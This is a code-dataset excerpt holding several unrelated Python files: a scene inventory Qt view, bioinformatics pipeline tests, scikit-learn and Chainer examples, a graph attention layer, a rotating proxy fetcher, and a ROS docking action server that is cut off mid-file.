project_name,\n repre_doc[\"parent\"],\n fields=[\"parent\"]\n )\n\n version_docs = list(get_versions(\n project_name,\n subset_ids=[repre_version_doc[\"parent\"]],\n hero=True\n ))\n hero_version = None\n standard_versions = []\n for version_doc in version_docs:\n if version_doc[\"type\"] == \"hero_version\":\n hero_version = version_doc\n else:\n standard_versions.append(version_doc)\n versions = list(reversed(\n sorted(standard_versions, key=lambda item: item[\"name\"])\n ))\n if hero_version:\n _version_id = hero_version[\"version_id\"]\n for _version in versions:\n if _version[\"_id\"] != _version_id:\n continue\n\n hero_version[\"name\"] = HeroVersionType(\n _version[\"name\"]\n )\n hero_version[\"data\"] = _version[\"data\"]\n break\n\n # Get index among the listed versions\n current_item = None\n current_version = active[\"version\"]\n if isinstance(current_version, HeroVersionType):\n current_item = hero_version\n else:\n for version in versions:\n if version[\"name\"] == current_version:\n current_item = version\n break\n\n all_versions = []\n if hero_version:\n all_versions.append(hero_version)\n all_versions.extend(versions)\n\n if current_item:\n index = all_versions.index(current_item)\n else:\n index = 0\n\n versions_by_label = dict()\n labels = []\n for version in all_versions:\n is_hero = version[\"type\"] == \"hero_version\"\n label = format_version(version[\"name\"], is_hero)\n labels.append(label)\n versions_by_label[label] = version[\"name\"]\n\n label, state = QtWidgets.QInputDialog.getItem(\n self,\n \"Set version..\",\n \"Set version number to\",\n labels,\n current=index,\n editable=False\n )\n if not state:\n return\n\n if label:\n version = versions_by_label[label]\n for item in items:\n try:\n update_container(item, version)\n except AssertionError:\n self._show_version_error_dialog(version, [item])\n log.warning(\"Update failed\", exc_info=True)\n # refresh model when done\n self.data_changed.emit()\n\n def _show_switch_dialog(self, items):\n \"\"\"Display Switch dialog\"\"\"\n dialog = SwitchAssetDialog(self, items)\n dialog.switched.connect(self.data_changed.emit)\n dialog.show()\n\n def _show_remove_warning_dialog(self, items):\n \"\"\"Prompt a dialog to inform the user the action will remove items\"\"\"\n\n accept = QtWidgets.QMessageBox.Ok\n buttons = accept | QtWidgets.QMessageBox.Cancel\n\n state = QtWidgets.QMessageBox.question(\n self,\n \"Are you sure?\",\n \"Are you sure you want to remove {} item(s)\".format(len(items)),\n buttons=buttons,\n defaultButton=accept\n )\n\n if state != accept:\n return\n\n for item in items:\n remove_container(item)\n self.data_changed.emit()\n\n def _show_version_error_dialog(self, version, items):\n \"\"\"Shows QMessageBox when version switch doesn't work\n\n Args:\n version: str or int or None\n \"\"\"\n if not version:\n version_str = \"latest\"\n elif version == \"hero\":\n version_str = \"hero\"\n elif isinstance(version, int):\n version_str = \"v{:03d}\".format(version)\n else:\n version_str = version\n\n dialog = QtWidgets.QMessageBox()\n dialog.setIcon(QtWidgets.QMessageBox.Warning)\n dialog.setStyleSheet(style.load_stylesheet())\n dialog.setWindowTitle(\"Update failed\")\n\n switch_btn = dialog.addButton(\n \"Switch Asset\",\n QtWidgets.QMessageBox.ActionRole\n )\n switch_btn.clicked.connect(lambda: self._show_switch_dialog(items))\n\n dialog.addButton(QtWidgets.QMessageBox.Cancel)\n\n msg = (\n \"Version update to '{}' failed as representation doesn't exist.\"\n \"\\n\\nPlease update to version with a valid representation\"\n \" OR \\n use 'Switch Asset' button to change asset.\"\n ).format(version_str)\n dialog.setText(msg)\n dialog.exec_()\n\n def update_all(self):\n \"\"\"Update all items that are currently 'outdated' in the view\"\"\"\n # Get the source model through the proxy model\n model = self.model().sourceModel()\n\n # Get all items from outdated groups\n outdated_items = []\n for index in iter_model_rows(model,\n column=0,\n include_root=False):\n item = index.data(model.ItemRole)\n\n if not item.get(\"isGroupNode\"):\n continue\n\n # Only the group nodes contain the \"highest_version\" data and as\n # such we find only the groups and take its children.\n if not model.outdated(item):\n continue\n\n # Collect all children which we want to update\n children = item.children()\n outdated_items.extend(children)\n\n if not outdated_items:\n log.info(\"Nothing to update.\")\n return\n\n # Trigger update to latest\n for item in outdated_items:\n try:\n update_container(item, -1)\n except AssertionError:\n self._show_version_error_dialog(None, [item])\n log.warning(\"Update failed\", exc_info=True)\n self.data_changed.emit()\n","sub_path":"openpype/tools/sceneinventory/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":27887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"629869583","text":"from sequana import snaketools, sequana_data\nfrom sequana.snaketools import DOTParser\nimport os, shutil\nimport tempfile\nfrom sequana import Module, SequanaConfig\n\n\ndef test_dot_parser():\n s = DOTParser(sequana_data(\"test_dag.dot\", \"testing\"))\n s.add_urls()\n try:os.remove(\"test_dag.ann.dot\")\n except:pass\n\ndef test_md5():\n from sequana import Module\n m = Module(\"quality_control\")\n data = m.md5()\n\ndef test_modules():\n assert \"dag\" in snaketools.modules.keys()\n assert snaketools.modules['dag'].endswith(\"dag.rules\")\n\n\ndef test_getcleanup_rules():\n filename = snaketools.modules['fastq_sampling']\n try:\n snaketools.get_cleanup_rules(filename)\n except:\n pass\n\n\ndef test_snakemake_stats():\n # this is created using snakemake with the option \"--stats stats.txt\"\n s = snaketools.SnakeMakeStats(sequana_data(\"test_snakemake_stats.txt\"))\n s.plot()\n\n\ndef test_module():\n # a rule without README\n m = snaketools.Module('mark_duplicates')\n m.description\n print(m)\n m.path\n m.snakefile\n\n # a rule with README\n m = snaketools.Module('dag')\n m.description\n m.overview\n m.is_executable()\n m.check()\n\n # a pipeline\n m = snaketools.Module('quality_control')\n m.is_executable()\n m.check()\n m.snakefile\n m.name\n m\n print(m)\n assert m.cluster_config.endswith(\"cluster_config.json\")\n assert m.schema_config.endswith(\"schema.yaml\")\n\n\ndef _test_module_onweb():\n m = snaketools.Module('quality_control')\n m.onweb()\n\n\ndef test_valid_config():\n config = snaketools.SequanaConfig(None)\n\n s = snaketools.Module(\"quality_control\")\n config = snaketools.SequanaConfig(s.config)\n\n from easydev import TempFile\n with TempFile() as fh:\n config.save(fh.name)\n\n\ndef test_sequana_config():\n s = snaketools.Module(\"quality_control\")\n config = snaketools.SequanaConfig(s.config)\n\n assert config.config.get(\"kraken:dummy\", \"test\") == \"test\"\n assert config.config.get(\"kraken:dummy\") == None\n\n # --------------------------------- tests different constructors\n config = snaketools.SequanaConfig()\n config = snaketools.SequanaConfig({\"test\":1})\n assert config.config.test == 1\n # with a dictionary\n config = snaketools.SequanaConfig(config.config)\n # with a sequanaConfig instance\n config = snaketools.SequanaConfig(config)\n # with a non-yaml file\n try:\n json = sequana_data('test_summary_fastq_stats.json')\n config = snaketools.SequanaConfig(json)\n assert False\n except:\n assert True\n try:\n config = snaketools.SequanaConfig(\"dummy_dummy\")\n assert False\n except:\n assert True\n\n # Test an exception\n s = snaketools.Module(\"quality_control\")\n config = snaketools.SequanaConfig(s.config)\n config._recursive_update(config._yaml_code, {\"input_directory_dummy\": \"test\"})\n\n # loop over all pipelines, read the config, save it and check the content is\n # identical. This requires to remove the templates. We want to make sure the\n # empty strings are kept and that \"no value\" are kept as well\n #\n # field1: \"\"\n # field2:\n #\n # is unchanged\n from easydev import TempFile\n output = TempFile(suffix=\".yaml\")\n for pipeline in snaketools.pipeline_names:\n config_filename = Module(pipeline)._get_config()\n cfg1 = SequanaConfig(config_filename)\n cfg1.cleanup() # remove templates and strip strings\n\n cfg1.save(output.name)\n cfg2 = SequanaConfig(output.name)\n assert cfg2._yaml_code == cfg1._yaml_code\n cfg2._update_config()\n assert cfg1.config == cfg2.config\n output.delete()\n\n\ndef test_message():\n snaketools.message(\"test\")\n\n\ndef test_dummy_manager():\n ss = snaketools.DummyManager()\n ss = snaketools.DummyManager([\"test1.fastq.gz\", \"test2.fastq.gz\"])\n assert ss.paired == True\n ss = snaketools.DummyManager([\"test1.fastq.gz\"])\n assert ss.paired == False\n ss = snaketools.DummyManager(\"test1.fastq.gz\")\n assert ss.paired == False\n\n\ndef test_pipeline_manager():\n\n # test missing input_directory\n cfg = SequanaConfig({})\n try:\n pm = snaketools.PipelineManager(\"custom\", cfg)\n assert False\n except:\n assert True\n\n # normal behaviour but no input provided:\n config = Module(\"quality_control\")._get_config()\n cfg = SequanaConfig(config)\n cfg.cleanup() # remove templates\n try:\n pm = snaketools.PipelineManager(\"custome\", cfg)\n assert False\n except:\n assert True\n\n cfg = SequanaConfig(config)\n cfg.cleanup() # remove templates\n file1 = sequana_data(\"Hm2_GTGAAA_L005_R1_001.fastq.gz\")\n file2 = sequana_data(\"Hm2_GTGAAA_L005_R2_001.fastq.gz\")\n cfg.config.input_samples['file1'] = file1\n cfg.config.input_samples['file2'] = file2\n pm = snaketools.PipelineManager(\"custome\", cfg)\n assert pm.paired == True\n\n cfg = SequanaConfig(config)\n cfg.cleanup() # remove templates\n file1 = sequana_data(\"Hm2_GTGAAA_L005_R1_001.fastq.gz\")\n cfg.config.input_samples['file1'] = file1\n pm = snaketools.PipelineManager(\"custome\", cfg)\n assert pm.paired == False\n\n pm.getlogdir(\"fastqc\")\n pm.getwkdir(\"fastqc\")\n pm.getrawdata()\n pm.getreportdir(\"test\")\n pm.getname(\"fastqc\")\n\n\ndef test_file_name_factory():\n import glob\n\n def inner_test(ff):\n len(ff)\n print(ff)\n ff.filenames\n ff.realpaths\n ff.all_extensions\n ff.pathnames\n ff.extensions\n\n #list\n list_files = glob.glob(\"*.py\")\n ff = snaketools.FileFactory(list_files)\n inner_test(ff)\n\n # glob\n ff = snaketools.FileFactory(\"*py\")\n inner_test(ff)\n\n\n directory = os.path.dirname(sequana_data(\"Hm2_GTGAAA_L005_R1_001.fastq.gz\"))\n\n ff = snaketools.FastQFactory(directory + \"/Hm2*fastq.gz\", verbose=True)\n assert ff.tags == ['Hm2_GTGAAA_L005']\n\n ff.get_file1(ff.tags[0])\n ff.get_file2(ff.tags[0])\n assert len(ff) == 1\n\n\ndef test_copy_requirements():\n # We need 4 cases:\n # 1- http \n # 2- a sequana file (phix)\n # 3- an existing file elsewhere (here just a temporary file)\n # 4- an existing file in the same directory as the target dir\n\n from easydev import TempFile\n fh = tempfile.TemporaryDirectory()\n targetdir = fh.name\n\n # Case 3: a temporary file\n temprequire = TempFile()\n\n # Case 4: a local file (copy of the temp file) \n # TODO\n #localfile = temprequire.name.split(os.sep)[-1]\n #shutil.copy(temprequire.name, targetdir)\n\n cfg = snaketools.SequanaConfig()\n cfg.config.requirements = [\"phiX174.fa\", temprequire.name, \n #localfile,\n \"https://raw.githubusercontent.com/sequana/sequana/master/README.rst\"]\n cfg._update_yaml()\n cfg.copy_requirements(target=fh.name)\n\n # error\n cfg.config.requirements = ['dummy']\n try:\n cfg.copy_requirements(target=fh.name)\n assert False\n except:\n assert True\n\n\ndef test_onsuccess(tmpdir):\n directory = tmpdir.mkdir(\"onsuccess\")\n p1 = directory.join(\"Makefile\")\n p2 = directory.join(\"cleanup.py\")\n\n onsuc = snaketools.OnSuccess()\n onsuc.makefile_filename = p1\n onsuc.makefile_cleanup = p2\n\n\n\ndef test_build_dynamic_rule():\n\n code = \"whatever\"\n fh = tempfile.TemporaryDirectory()\n directory = fh.name\n snaketools.build_dynamic_rule(code, directory)\n\n\ndef test_init():\n snaketools.init(\"quality_control.rules\", globals())\n assert \"expected_output\" in globals()\n\n\n\n\n\ndef test_get_pipeline_statistics():\n df = snaketools.get_pipeline_statistics()\n\n","sub_path":"test/test_snaketools.py","file_name":"test_snaketools.py","file_ext":"py","file_size_in_byte":7596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"120295918","text":"# coding: utf-8\n\n# Gather breast cancer data\n\nfrom sklearn.datasets import load_breast_cancer\nbreast_cancer = load_breast_cancer()\nbreast_cancer_data = breast_cancer.data\nbreast_cancer_labels = breast_cancer.target\n\n\n# Prepare data as pandas dataframe\n\n\nimport numpy as np\nlabels = np.reshape(breast_cancer_labels,(569,1))\nfinal_breast_cancer_data = np.concatenate([breast_cancer_data,labels],axis=1)\n\nimport pandas as pd\nbreast_cancer_dataset = pd.DataFrame(final_breast_cancer_data)\nfeatures = breast_cancer.feature_names\nfeatures_labels = np.append(features,'label')\nbreast_cancer_dataset.columns = features_labels\n\n\"\"\"\nReplace 0,1 label by medical terminology (Benign = cancer false, Malignant = cancer true)\n\nbreast_cancer_dataset['label'].replace(0, 'Benign',inplace=True)\nbreast_cancer_dataset['label'].replace(1, 'Malignant',inplace=True)\n\"\"\"\n\n# Standardize data by setting mean to 0 and standard deviation to 1\n\nfrom sklearn.preprocessing import StandardScaler\n\nX, Y = breast_cancer_dataset.drop(columns='label'), breast_cancer_dataset['label']\nX_norm = StandardScaler().fit_transform(X)\n\n\n# Feature agglomeration based on 'euclidean' affinity and 'ward' linkage\n\nfrom sklearn import cluster\n\nagglomerate = cluster.FeatureAgglomeration(n_clusters=None,\n linkage=\"ward\",\n affinity=\"euclidean\",\n compute_full_tree=True,\n distance_threshold=40)\nX_transformed = agglomerate.fit_transform(X_norm, Y)\n\ndata = {\"Feature\": features, \"Cluster\":agglomerate.labels_}\n\ncluster_labels = pd.DataFrame(data).sort_values(by=[\"Cluster\"])\nprint(cluster_labels)\n\n# X_restored = pd.DataFrame(agglomerate.inverse_transform(X_transformed))\n\n# Define the plot_dendrogram function\n\nfrom scipy.cluster.hierarchy import dendrogram\n\n\ndef plot_dendrogram(model, **kwargs):\n # Create linkage matrix and then plot the dendrogram\n\n # create the counts of samples under each node\n counts = np.zeros(model.children_.shape[0])\n n_samples = len(model.labels_)\n for i, merge in enumerate(model.children_):\n current_count = 0\n for child_idx in merge:\n if child_idx < n_samples:\n current_count += 1 # leaf node\n else:\n current_count += counts[child_idx - n_samples]\n counts[i] = current_count\n\n linkage_matrix = np.column_stack([model.children_, model.distances_,\n counts]).astype(float)\n\n # Plot the corresponding dendrogram\n dendrogram(linkage_matrix, **kwargs)\n\n# Draw the top two levels of the dendrogram of agglomerated features\n\nimport matplotlib.pyplot as plt\n\nplot_dendrogram(agglomerate, truncate_mode='level', p=2)\nplt.title('Hierarchical Clustering Dendrogram')\nplt.xlabel(\"Number of points in node (or index of point if no parenthesis).\")\n\n\n\n","sub_path":"DataAnalysis/BreastCancerFeatureAgglomeration.py","file_name":"BreastCancerFeatureAgglomeration.py","file_ext":"py","file_size_in_byte":2928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"94525392","text":"# coding: UTF-8\n\nimport chainer\nfrom chainer import Variable, Chain, optimizers, serializers\nimport chainer.links as L\nimport chainer.functions as F\n\nfrom chainer.datasets import tuple_dataset\nfrom chainer import training, iterators\nfrom chainer.training import extensions\n\nimport numpy as np\nfrom sklearn import datasets\n\n# -- Iris データ読み込み --\niris_data = datasets.load_iris()\n\nx = iris_data.data.astype(np.float32) # Chainer は float32型\nt = iris_data.target # 正解値\nn = t.size # データ数\n\n# -- 教師データの下処理 --\nt_matrix = np.zeros(3 * n).reshape(n, 3).astype(np.float32)\nfor i in range(n):\n # 正解の種類の位置に1をセット\n t_matrix[i, t[i]] = 1.0\n\n# -- 訓練用データとテスト用データ 半分を訓練用、残りをテストデータ --\nindexes = np.arange(n)\n# インデックスが奇数のデータを訓練用、偶数をテスト用に振り分け\nindexes_train = indexes[indexes % 2 != 0]\nindexes_test = indexes[indexes % 2 == 0]\n\nx_train = x[indexes_train, : ] # 訓練用 入力\nt_train = t_matrix[indexes_train, : ] # 訓練用 正解\nx_test = x[indexes_test, : ] # テスト用 入力\nt_test = t_matrix[indexes_test, : ] # テスト用 正解\n\ntrain = tuple_dataset.TupleDataset(x_train, t_train)\n\nx_test_v = Variable(x_test)\n\n# -- Chainの記述 --\nclass IrisChain(Chain):\n def __init__(self):\n # -- 入力 4 => 6 => 6 => 出力 3 --\n super(IrisChain, self).__init__(\n l1 = L.Linear(4, 6),\n l2 = L.Linear(6, 6),\n l3 = L.Linear(6, 3)\n )\n\n def __call__(self, x, t):\n # -- 損失関数:二乗和誤差 --\n return F.mean_squared_error(self.predict(x), t)\n\n def predict(self, x):\n # -- 活性化関数 中間:シグモイド関数、出力:恒等写像 --\n h1 = F.sigmoid(self.l1(x))\n h2 = F.sigmoid(self.l2(h1))\n h3 = self.l3(h2)\n return h3\n\n# -- モデルとoptimizerの設定 --\nmodel = IrisChain()\noptimizer = optimizers.Adam()\noptimizer.setup(model)\n\n# -- trainerによる学習 --\n# -- 30 個づつ一括りして返してくれる --\n# -- dataset, batch_size, repeat, shuffle、orlder_sampler --\ntrain_iter = iterators.SerialIterator(train, 30)\n# -- iterator, optimizer, converter, device, loss_func --\n# -- Updater の用意 --\nupdater = training.StandardUpdater(train_iter, optimizer)\n# -- Trainer の用意 --\ntrainer = training.Trainer(updater, (5000, 'epoch'))\ntrainer.extend(extensions.ProgressBar())\ntrainer.run()\n\n# -- モデルの保存 --\nserializers.save_npz(\"my_iris.npz\", model)\n\n","sub_path":"PycharmProjects/classification/iris_serializer_save.py","file_name":"iris_serializer_save.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"263760034","text":"from Fan import Fan\r\n\r\ndef main():\r\n fan1 = Fan(Fan.FAST, True, 10, \"yellow\")\r\n fan2 = Fan(Fan.MEDIUM, False, 5, \"blue\")\r\n print(f\"For fan1: Speed = {fan1.getSpeed()}, Radius = {fan1.getRadius()}\"\\\r\n f\", Color: {fan1.getColor()}, On = {fan1.getOn()}\")\r\n print(f\"For fan1: Speed = {fan2.getSpeed()}, Radius = {fan2.getRadius()}\"\\\r\n f\", Color: {fan2.getColor()}, On = {fan2.getOn()}\")\r\n \r\nmain()","sub_path":"Python/Python-Chapter-7/Fan class/TestFan.py","file_name":"TestFan.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"489091560","text":"#!/usr/bin/env python\n\n##############################################################################\n# Copyright (c) 2016 Huawei Technologies Co.,Ltd and others.\n#\n# All rights reserved. This program and the accompanying materials\n# are made available under the terms of the Apache License, Version 2.0\n# which accompanies this distribution, and is available at\n# http://www.apache.org/licenses/LICENSE-2.0\n##############################################################################\n\n# Unittest for yardstick.common.openstack_utils\n\nfrom __future__ import absolute_import\nimport unittest\nimport mock\n\nfrom yardstick.common import openstack_utils\n\n\nclass GetCredentialsTestCase(unittest.TestCase):\n\n @mock.patch('yardstick.common.openstack_utils.os')\n def test_get_credentials(self, mock_os):\n with mock.patch.dict('os.environ', {'OS_IDENTITY_API_VERSION': '2'},\n clear=True):\n openstack_utils.get_credentials()\n\n\nclass GetHeatApiVersionTestCase(unittest.TestCase):\n\n def test_get_heat_api_version_check_result(self):\n API = 'HEAT_API_VERSION'\n expected_result = '2'\n\n with mock.patch.dict('os.environ', {API: '2'}, clear=True):\n api_version = openstack_utils.get_heat_api_version()\n self.assertEqual(api_version, expected_result)\n\n\ndef main():\n unittest.main()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"tests/unit/common/test_openstack_utils.py","file_name":"test_openstack_utils.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"427693013","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\nneighb = {1: 'Indre By', 2: 'Østerbro', 3: 'Nørrebro', 4: 'Vesterbro/Kgs. Enghave', \n 5: 'Valby', 6: 'Vanløse', 7: 'Brønshøj-Husum', 8: 'Bispebjerg', 9: 'Amager Øst', \n 10: 'Amager Vest', 99: 'Udenfor'}\n\ndef sort_by_size(areas):\n return sorted(areas.values())\n\n\n\n#1,2,3\ndef get_area_size(filename):\n ndarray = np.genfromtxt(filename, delimiter=',', dtype=np.uint, skip_header=1)\n neighbSum = {}\n for n in neighb:\n mask = (ndarray[:,0] == 2015) & (ndarray[:,1] == n)\n mm = np.sum(ndarray[mask][:,4])\n neighbSum[n] = mm\n return neighbSum\n\n#4\ndef area_chart():\n areaSizes = get_area_size('HandIn4/befkbhalderstatkode.csv')\n areaSizesSorted = sort_by_size(areaSizes)\n areaSizesSwap = dict([(value, key) for key, value in areaSizes.items()])\n areaNames = []\n for a in areaSizesSorted:\n areaNames.append(neighb[areaSizesSwap[a]])\n sortedNeigbh = {}\n y_pos = np.arange(len(areaSizes))\n plt.xticks(y_pos, areaNames)\n plt.bar(y_pos, areaSizesSorted, align='center', alpha=0.5)\n plt.ylabel('Area sizes')\n plt.show()\n\n#5, 6\ndef amount_of_ppl_above_65():\n ndarray = np.genfromtxt('HandIn4/befkbhalderstatkode.csv', delimiter=',', dtype=np.uint, skip_header=1)\n #SWEDEN = 5120, NORWAY = 5110, FINLAND = 5104, ICELAND = 5106\n mask = (ndarray[:,0] == 2015) & (ndarray[:,2] > 65)\n nordicStateArray = [5120, 5110, 5104, 5106]\n maskedNdArray = ndarray[mask]\n nordicAmount = 0\n for n in nordicStateArray:\n nordicMask = (maskedNdArray[:,3] == n)\n nordicAmount += np.sum(maskedNdArray[nordicMask][:,4])\n amount_above_65 = np.sum(ndarray[mask][:,4])\n print('amount above 65', amount_above_65)\n print('amount of nordic-non-danes above 65', nordicAmount)\n\n#7\ndef change_chart():\n ndarray = np.genfromtxt('HandIn4/befkbhalderstatkode.csv', delimiter=',', dtype=np.uint, skip_header=1)\n osterbro = []\n vesterbro = []\n year = []\n for i in range(1992, 2015):\n oMask = (ndarray[:,0] == i) & (ndarray[:,1] == 2)\n vMask = (ndarray[:,0] == i) & (ndarray[:,1] == 4)\n year.append(i)\n osterbro.append(np.sum(ndarray[oMask][:,4]))\n vesterbro.append(np.sum(ndarray[vMask][:,4]))\n y_pos = np.arange(len(osterbro))\n plt.xticks(y_pos, year)\n plt.plot(osterbro)\n plt.plot(vesterbro)\n plt.show()\n\n\n\nif __name__ == '__main__':\n change_chart()\n #amount_of_ppl_above_65()\n #area_chart() ","sub_path":"HandIn4/Exercise1.py","file_name":"Exercise1.py","file_ext":"py","file_size_in_byte":2510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"273624407","text":"import torch as th\nfrom torch import nn\n\nimport sparse\n\n# pylint: enable=W0235\nclass GATConv(nn.Module):\n def __init__(self,\n in_feats,\n out_feats,\n num_heads,\n feat_drop=0.,\n attn_drop=0.,\n negative_slope=0.2,\n activation=None,\n allow_zero_in_degree=False):\n super(GATConv, self).__init__()\n self._num_heads = num_heads\n self._in_feats_size = in_feats\n self._out_feats = out_feats\n self._allow_zero_in_degree = allow_zero_in_degree\n\n self.linear = nn.Linear(\n self._in_feats_size, out_feats * num_heads, bias=False)\n self.fc = nn.Linear(\n self._in_feats_size, out_feats * num_heads, bias=False)\n self.attn_l = nn.Parameter(th.FloatTensor(size=(1, num_heads, out_feats)))\n self.attn_r = nn.Parameter(th.FloatTensor(size=(1, num_heads, out_feats)))\n self.feat_drop = nn.Dropout(feat_drop)\n self.attn_drop = nn.Dropout(attn_drop)\n self.leaky_relu = nn.LeakyReLU(negative_slope)\n\n self.reset_parameters()\n self.activation = activation\n\n def reset_parameters(self):\n \"\"\"\n Description\n -----------\n Reinitialize learnable parameters.\n Note\n ----\n The fc weights :math:`W^{(l)}` are initialized using Glorot uniform initialization.\n The attention weights are using xavier initialization method.\n \"\"\"\n gain = nn.init.calculate_gain('relu')\n # re-initilize the parameter for linear layer\n nn.init.xavier_normal_(self.linear.weight, gain=gain)\n # re-initilize the parameter for attention layer\n nn.init.xavier_normal_(self.attn_l, gain=gain)\n nn.init.xavier_normal_(self.attn_r, gain=gain)\n # re-initilize the parameter for linear layer\n # if isinstance(self.res_fc, nn.Linear):\n # nn.init.xavier_normal_(self.res_fc.weight, gain=gain)\n\n def set_allow_zero_in_degree(self, set_value):\n r\"\"\"\n Description\n -----------\n Set allow_zero_in_degree flag.\n Parameters\n ----------\n set_value : bool\n The value to be set to the flag.\n \"\"\"\n self._allow_zero_in_degree = set_value\n\n def forward(self, graph, feat):\n #print(feat, \" ------0000\", feat.size(), self._num_heads, self._out_feats)\n self.fc_src, self.fc_dst = self.fc, self.fc\n feat_src = feat_dst = self.fc(feat).view(-1, self._num_heads, self._out_feats)\n #print(feat_src.size(), \" 1111\")\n #print(self.attn_l.size(), \"2222\")\n el = (feat_src * self.attn_l).sum(dim=-1).unsqueeze(-1)\n er = (feat_dst * self.attn_r).sum(dim=-1).unsqueeze(-1)\n #el = el.flatten(1)\n #er = er.flatten(1)\n #print(el.size(), \" 3333\")\n\n # map_input = self.linear(feat).view(-1, self._num_heads, self._out_feats)\n # print (map_input.size())\n # print(self.attn_l.size())\n # el = th.matmul(map_input, self.attn_l)\n # er = th.matmul(map_input, self.attn_r)\n\n num_vcount = graph.get_vcount()\n # since the score is scalar\n # dim = feat_src.size(1)\n dim = self._out_feats\n #print('222')\n #print(dim)\n # apply_edge add the attention_score by vertex, el and er are 3D tensor\n edge_score = sparse.apply_edge_heads(graph, el, er)\n efficient_score = self.leaky_relu(edge_score)\n # edge_score_by_softmax is a 3D tensor\n edge_score_by_softmax = sparse.edge_softmax_heads(graph, efficient_score, num_vcount, dim)\n # // std::cout << \"nani6\" << std::endl;\n # torch::Tensor\n rst = sparse.run_gspmv_op_heads(graph, feat_src, edge_score_by_softmax, num_vcount, dim)\n #print (rst.size(), \" 4444\")\n\n # activation\n if self.activation:\n rst = self.activation(rst)\n return rst\n\n\n","sub_path":"GCN_python_copy/gat_multi_head.py","file_name":"gat_multi_head.py","file_ext":"py","file_size_in_byte":3980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"575483512","text":"import random\nimport logging\nfrom pyhidentity.proxy.grabber import ProxyGrabber\nimport requests\n\nclass ProxyProvider(ProxyGrabber):\n \"\"\"class ProxyProvider to provide proxies\n\n USAGE:\n provider = ProxyProvider()\n \"\"\"\n\n proxy_pool = dict()\n\n def __init__(self):\n self.logger = logging.getLogger('pyhidentity')\n self.logger.info(\"create class ProxyProvider\")\n\n super().__init__(timeout=100, max_workers=8)\n\n self.session = requests.Session()\n\n self.set_proxy_pool()\n\n def __del__(self):\n pass\n\n def set_proxy_pool(self):\n \"\"\"\n\n :return:\n \"\"\"\n self.proxy_pool = self.collect_proxies()\n print(len(self.proxy_pool['http']))\n\n def get(self):\n\n try:\n tmp_proxy = self.proxy()\n print(tmp_proxy)\n proxies = dict()\n proxies['http'] = tmp_proxy\n proxies['https'] = tmp_proxy\n return self.session.get(url=\"https://google.de\", proxies=proxies, timeout=2)\n except Exception as e:\n #print(e)\n return self.get()\n\n def proxy(self):\n\n index = random.randint(0, len(self.proxy_pool['http']) -1)\n\n return self.proxy_pool['http'][index]\n\n def http_proxies(self, num=None):\n \"\"\" get only http proxies\n\n :return: list, ip:port as a string\n \"\"\"\n return self.proxy_pool['http'][:num]\n\n def socks4_proxies(self):\n \"\"\" get only socks4 proxies\n\n :return: list, ip:port as a string\n \"\"\"\n return self.proxy_pool['socks4']\n\n def socks5_proxies(self):\n \"\"\" get only socks5 proxies\n\n :return: list, ip:port as a string\n \"\"\"\n return self.proxy_pool['socks5']\n\n\nif __name__ == '__main__':\n provider = ProxyProvider()\n #proxies = provider.http_proxies()\n #print(proxies)\n #print(provider.http_proxies(5))\n for i in range(0, 10):\n resp = provider.get()\n print(resp.content)","sub_path":"pyhidentity/proxy/provider.py","file_name":"provider.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"199312989","text":"#! /usr/bin/env python\n\nimport rospy\nimport actionlib\nfrom std_msgs.msg import Byte, Bool, Int16\nfrom geometry_msgs.msg import Twist\nfrom james_docking.msg import dockAction, dockFeedback, dockResult, sensor_state\nimport time\nclass jamesDocking(object):\n\n _dockingfb = dockFeedback()\n _result = dockResult()\n\n def __init__(self):\n self._dockServer = actionlib.SimpleActionServer('/try_dock', dockAction, self.feedback_callback, False )\n self._dockServer.start()\n self._velPublisher = rospy.Publisher('/base_controller/cmd_vel', Twist, queue_size=10)\n self._relay_pub = rospy.Publisher('/relay', Bool, queue_size=10)\n\n self._irState = sensor_state()\n self._velocity = Twist()\n self._relay_ON = Bool()\n self._dockState = Byte()\n self._bumperState = Bool()\n self._irSubscriber = rospy.Subscriber('/dockdata_T', Int16, self.cb_getIR)\n self._bumperSubscriber = rospy.Subscriber('/bumper_state', Bool, self.cb_getBUMPER)\n\n # initialize velocity\n self._velocity.linear.x = 0\n self._velocity.linear.y = 0\n self._velocity.linear.z = 0\n self._velocity.angular.x = 0\n self._velocity.angular.y = 0\n self._velocity.angular.z = 0\n\n # initialize relay\n self._relay_ON = False\n \n\n rospy.loginfo('Server start...')\n\n def feedback_callback(self, goal):\n # this callback is called when the action server is called.\n # this is the function that runs auto docking.\n self._success = False\n serverCalled = goal.order\n\n if serverCalled == True: \n self._dockState = 0\n rospy.loginfo('Goal arrived...') \n\n while not self._success:\n\n if self._dockServer.is_preempt_requested():\n rospy.loginfo('The goal has been cancelled/preempted')\n self._linear_vel(0)\n self._angular_vel_ck(0)\n self._velPublisher.publish(self._velocity)\n self._dockServer.set_preempted()\n break \n\n if self._dockState == 0:\n rospy.loginfo('Start docking process...')\n self._dockingfb.sequence = \"Start docking process...\"\n self._dockServer.publish_feedback(self._dockingfb)\n \n if int(bin(self.dockdata & 0b001001000), 2) >= 0b000001000 :\n self._angular_vel_ck(1.5)\n \n else:\n self._angular_vel_ack(1.5)\n \n self._dockState = 1\n\n elif self._dockState == 1:\n \n if int(bin(self.dockdata & 0b101111101), 2) >= 0b000000001 : \n self._angular_vel_ck(0)\n self._velPublisher.publish(self._velocity)\n self._dockingfb.sequence = 'IR transmitter found!...'\n self._dockServer.publish_feedback(self._dockingfb) \n\n if int(bin(self.dockdata & 0b000111000), 